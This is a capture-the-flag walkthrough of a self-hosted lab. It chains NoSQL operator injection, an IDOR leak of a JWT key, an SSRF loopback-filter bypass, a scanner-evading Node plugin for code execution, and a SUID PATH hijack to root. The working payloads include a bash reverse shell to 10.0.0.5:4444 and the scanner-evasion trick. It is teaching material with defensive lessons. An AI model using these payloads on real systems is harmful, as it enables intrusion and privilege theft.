Eresus CTF Lab Walkthrough: NoSQLi, IDOR, SSRF, Upload RCE and Linux Privesc
Full walkthrough of the Eresus CTF Lab: a five-stage self-hosted chain through NoSQL operator injection, an IDOR export, an SSRF filter bypass, an upload-to-RCE scanner bypass, and a SUID PATH privilege escalation to root.
Eresus CTF Lab is a small, self-hosted web exploitation chain built by Eresus Security: one web app, one internal-only service, and one Linux privilege-escalation target, wired so that each bug is only reachable through the one before it. This is the full five-stage walkthrough.
Everything below is against a lab you run yourself. The scope is the repository itself — the app, the internal service, and the privesc target. Nothing else.
The chain at a glance
- Stage 1 — NoSQL operator injection in a legacy login endpoint.
- Stage 2 — IDOR on a user export endpoint that leaks the app's JWT signing key.
- Stage 3 — SSRF in the admin integration checker, bypassing a naive loopback filter.
- Stage 4 — Plugin upload → code execution, bypassing a substring content scanner.
- Stage 5 — SUID binary with an untrusted-search-path bug → root → the flag.
Setup
git clone https://github.com/dontworryplz/eresus-ctf-lab
cd eresus-ctf-lab
cp .env.example .env # read the warning, then replace every placeholder
docker compose up --buildGenerate real secrets before anything else — this instance is yours:
openssl rand -hex 24 # JWT_SECRET
openssl rand -hex 16 # UPLOAD_SERVICE_KEY
openssl rand -hex 16 # FLAG_SEEDThe app binds http://localhost:8080. The internal service is on 127.0.0.1:8081 inside the same host and is not reachable from outside — which is the entire point of stage 3.
Recon is trivial and manual by design: the only pre-auth surface is public/index.html, and it hands you the first clue. The footer says the portal was recently migrated off the legacy session API, kept online read-only, and the support contact is support@eresus.lab. That is a username and an endpoint in one paragraph.
Stage 1 — NoSQL operator injection
The current login (POST /api/auth/login) is hardened: it wraps whatever you send in { $eq: ... }, so operators never reach the query. The legacy endpoint (POST /api/legacy/v1/session) is not — it still builds the filter straight from the request body.
The seed data puts a disabled svc-archive account first, so a blind bypass lands on a dead account and fails. You need a real, active username — support, which you just found:
curl -s -X POST localhost:8080/api/legacy/v1/session \
-H 'content-type: application/json' \
-d '{"username":"support","password":{"$ne":""}}' \
-c cookies.txt
# {"ok":true,"user":{"id":"usr_6b7d4410","username":"support","role":"support"}}{"$ne":""} matches any non-empty password, so the password check is bypassed for a known user. You are now support.
Shortcut worth knowing: nothing stops
{"username":"admin","password":{"$ne":"x"}}, which logs you in as admin directly. That collapses stages 1–2. The intended path below is the one the lab is built around — and the more realistic one, since you rarely know the exact admin username in a real target.
Stage 2 — IDOR on the export endpoint
As support, the ticket queue is visible, and it is the one place another account's internal id appears before you compromise it:
curl -s localhost:8080/api/tickets -b cookies.txt
# [ {"id":"TCK-1001", ...},
# {"id":"TCK-1002","subject":"Escalate: suspicious login volume",
# "assignedToId":"usr_9e2f7701","assignedToRole":"admin"}, ... ]The export endpoint (GET /api/users/:id/export) checks only that you are authenticated — not which id you are asking for. So fetch the admin's export and decode the backup blob:
curl -s localhost:8080/api/users/usr_9e2f7701/export -b cookies.txtThe backupBlob is a base64 pre-migration config snapshot with several passphrase-looking values. Exactly one is the real signing key, under a different name:
AUTH_SIGNING_KEY = <JWT_SECRET> <- the one the app actually signs with
OLD_SESSION_SECRET = <decoy> (rotated out, no longer valid)
DB_PASSWORD / STRIPE_TEST_KEY = ... (noise, as in any real dump)The noise is the lesson: a leaked config dump is mostly wrong values. Test, don't trust. With the signing key you can forge an admin session — or, in the shortcut above, you already have one. Signing your own token:
// token.js
const jwt = require('jsonwebtoken');
console.log(jwt.sign(
{ sub: 'usr_9e2f7701', username: 'admin', role: 'admin' },
process.env.JWT_SECRET,
{ expiresIn: '8h' }
));Stage 3 — SSRF behind a naive loopback filter
The admin integration checker (POST /api/admin/integrations/check) fetches a URL server-side. It blocks the obvious loopback spellings with a single regex:
const OBVIOUS_LOOPBACK = /127\.0\.0\.1|localhost|0\.0\.0\.0|::1/i;The filter runs on the raw string, before URL parsing. Node's URL and DNS handling accept other notations for 127.0.0.1 that never contain those exact substrings. The shorthand 127.1 works:
ADMIN=<your admin JWT>
curl -s -X POST localhost:8080/api/admin/integrations/check \
-H "authorization: Bearer $ADMIN" \
-H 'content-type: application/json' \
-d '{"url":"http://127.1:8081/internal/upload-service/key"}'
# {"status":200,"body":"{\"service\":\"report-plugin-upload\",\"key\":\"<UPLOAD_SERVICE_KEY>\"}"}You just made the server read its own internal-only service. Decimal (2130706433) and hex (0x7f000001) forms of 127.0.0.1 work too — any form the resolver accepts that the literal filter does not.
Stage 4 — Upload to RCE, past a content scanner
The report-plugin feature requires two things at once: your admin JWT and the x-upload-key header from stage 3. Getting one does not get you the other.
Uploaded plugins are checked by a substring scanner before being stored:
const BLOCKED_PATTERNS = [
/child_process/i,
/\bexec(file)?(Sync)?\s*\(/i,
/\bspawn(Sync)?\s*\(/i,
/process\s*\.\s*binding/i,
];It is a regex over source text, so it only sees what you spell out literally. Build the forbidden identifiers at runtime instead:
// plugin.js
const cp = require('child' + '_process');
module.exports = () =>
cp['exe' + 'cSync']('id; hostname; grep ctfapp /etc/passwd').toString();'child'+'_process' never contains the contiguous string child_process; cp['exe'+'cSync'] never contains execSync(. Upload and run:
KEY=<upload service key>
RESP=$(curl -s -X POST localhost:8080/api/admin/reports/plugins \
-H "authorization: Bearer $ADMIN" -H "x-upload-key: $KEY" \
-F 'plugin=@plugin.js')
# {"ok":true,"pluginId":"<id>"}
PID=$(echo "$RESP" | sed 's/.*"pluginId":"\([^"]*\)".*/\1/')
curl -s -X POST localhost:8080/api/admin/reports/generate \
-H "authorization: Bearer $ADMIN" -H "x-upload-key: $KEY" \
-H 'content-type: application/json' \
-d "{\"pluginId\":\"$PID\"}"
# {"ok":true,"report":"uid=... gid=...\n..."}The "formatter" is compiled with new Function(...) and executed in the Node process, so your code runs as ctfapp — an unprivileged OS user, which is exactly where stage 5 begins.
For an interactive shell, swap the payload for a reverse shell:
const cp = require('child' + '_process');
module.exports = () =>
cp['exe' + 'cSync']("bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'");nc -lvnp 4444Stage 5 — SUID PATH privilege escalation
Landing a shell gets you ctfapp, not root — deliberately:
id
# uid=... gid=...(ctfapp) groups=...(ctfapp)
ls -la /usr/local/bin/eresus-diag
# -rwsr-xr-x 1 root root ... /usr/local/bin/eresus-diagThe s bit means that binary runs as root no matter who calls it. Read what it does:
strings /usr/local/bin/eresus-diag | grep -i ps
# ps aux | head -n 5It shells out to ps by bare name (system("ps aux | head -n 5")) instead of an absolute path. That is CWE-426, untrusted search path: a SUID root binary resolves ps through the caller's PATH. Put a malicious ps earlier on PATH:
mkdir -p /tmp/pwn
printf '#!/bin/sh\n/bin/sh -p\n' > /tmp/pwn/ps
chmod +x /tmp/pwn/ps
PATH=/tmp/pwn:$PATH /usr/local/bin/eresus-diag
# eresus-diag: collecting host diagnostics...
# (root shell)sh -p keeps the effective uid, so the shell it spawns is root. Then:
id # uid=0(root)
cat /root/flag.txt
# EOC{...}The flag
The flag is never stored in the repo. It is derived from FLAG_SEED at build time:
EOC{ hex( hmac_sha256(FLAG_SEED, "stage5-root") )[0:32] }So it is per-instance: change the seed and the flag changes. On your own box you can confirm it out of band with npm run show-flag (operator-only, never run it where a player can see the terminal).
What this lab teaches
- Input validation has a long half-life. The "current" login is safe; the "legacy" one still accepts operators. Old endpoints outlive the migrations meant to retire them.
- Authorization must be checked on the object, not just the request. The export endpoint verified a session, not the owner of the id.
- Filters written on raw input are bypassable by construction.
127.1is still127.0.0.1to every resolver downstream. - A content scanner is not a sandbox. Blocking literal
child_processstops a copied one-liner and nothing else; the real fix is not executing untrusted code. - A shell is the middle of the job, not the end. App processes running as root hide the most common deployment mistake there is — privilege you never needed.
Eresus Security builds and tests exactly this kind of chain on real systems: web, API, cloud, and AI. If you want your own surface tested end to end, talk to Eresus Security.
What do you think?
React to show your appreciation